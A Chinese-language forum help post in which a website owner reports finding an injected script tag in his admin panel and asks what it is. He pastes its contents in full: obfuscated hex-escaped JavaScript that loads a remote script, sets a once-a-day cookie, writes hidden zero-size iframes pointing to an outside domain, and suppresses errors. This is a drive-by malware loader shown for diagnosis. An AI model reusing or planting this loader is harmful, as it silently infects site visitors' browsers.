看一下这个是不是被挂马了？！！
晕，今天进后台的时候在后台首页居然发现个代码：<script src=http://67.19.116.188/n.js>
里面是：teln("\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\"\x68\x74\x74\x70\x3A\/\/\x6F\x72\x61\x2E\x33\x31\x36\x38\x61\x2E\x63\x6F\x6D\/\x73\x33\x36\x38\/\x4E\x45\x77\x4A\x73\x32\x2E\x6A\x73\"\x3E\x3C\/\x73\x63\x72\x69\x70\x74\x3E");
document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x3E");
document.writeln("\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x49\x73\x5F\x47\x6F\x47\x6F\x28\x29\x7B");
document.writeln("\x76\x61\x72\x20\x54\x68\x65\x6E\x20\x3D\x20\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29\x20");
document.writeln("\x54\x68\x65\x6E\x2E\x73\x65\x74\x54\x69\x6D\x65\x28\x54\x68\x65\x6E\x2E\x67\x65\x74\x54\x69\x6D\x65\x28\x29\x20\x2B\x20\x32\x34\x2A\x36\x30\x2A\x36\x30\x2A\x31\x30\x30\x30\x29");
document.writeln("\x76\x61\x72\x20\x63\x6F\x6F\x6B\x69\x65\x53\x74\x72\x69\x6E\x67\x20\x3D\x20\x6E\x65\x77\x20\x53\x74\x72\x69\x6E\x67\x28\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x29");
document.writeln("\x76\x61\x72\x20\x63\x6F\x6F\x6B\x69\x65\x48\x65\x61\x64\x65\x72\x20\x3D\x20\"\x43\x6F\x6F\x6B\x69\x65\x31\x3D\"\x20");
document.writeln("\x76\x61\x72\x20\x62\x65\x67\x69\x6E\x50\x6F\x73\x69\x74\x69\x6F\x6E\x20\x3D\x20\x63\x6F\x6F\x6B\x69\x65\x53\x74\x72\x69\x6E\x67\x2E\x69\x6E\x64\x65\x78\x4F\x66\x28\x63\x6F\x6F\x6B\x69\x65\x48\x65\x61\x64\x65\x72\x29");
document.writeln("\x69\x66\x20\x28\x62\x65\x67\x69\x6E\x50\x6F\x73\x69\x74\x69\x6F\x6E\x20\x21\x3D\x20\x2D\x31\x29\x7B\x20");
document.writeln("\x7D\x20\x65\x6C\x73\x65\x20");
document.writeln("\x7B\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x20\x3D\x20\"\x43\x6F\x6F\x6B\x69\x65\x31\x3D\x50\x4F\x50\x57\x49\x4E\x44\x4F\x53\x3B\x65\x78\x70\x69\x72\x65\x73\x3D\"\x2B\x20\x54\x68\x65\x6E\x2E\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67\x28\x29\x20");
document.writeln("\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\'\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x20\x73\x72\x63\x3D\"\x68\x74\x74\x70\x3A\/\/\x6F\x72\x61\x2E\x33\x31\x36\x38\x61\x2E\x63\x6F\x6D\/\x73\x33\x36\x38\/\x74\x33\x36\x38\x2E\x68\x74\x6D\"\x3E\x3C\/\x69\x66\x72\x61\x6D\x65\x3E\'\x29\x3B");
document.writeln("\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\'\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x20\x73\x72\x63\x3D\"\x68\x74\x74\x70\x3A\/\/\x6F\x72\x61\x2E\x33\x31\x36\x38\x61\x2E\x63\x6F\x6D\/\x73\x33\x36\x38\/\x74\x33\x36\x38\x2E\x67\x69\x66\"\x3E\x3C\/\x69\x66\x72\x61\x6D\x65\x3E\'\x29\x3B");
document.writeln("\x7D");
document.writeln("\x7D");
document.writeln("\x49\x73\x5F\x47\x6F\x47\x6F\x28\x29\x3B");
document.writeln("\x3C\/\x73\x63\x72\x69\x70\x74\x3E");
document.writeln("\x3C\x73\x63\x72\x69\x70\x74\x3E\x77\x69\x6E\x64\x6F\x77\x2E\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x72\x65\x74\x75\x72\x6E\x20\x74\x72\x75\x65\x3B\x7D\x3C\/\x73\x63\x72\x69\x70\x74\x3E")
居然放在我的后台！真不懂，帮我看一下这是什么？
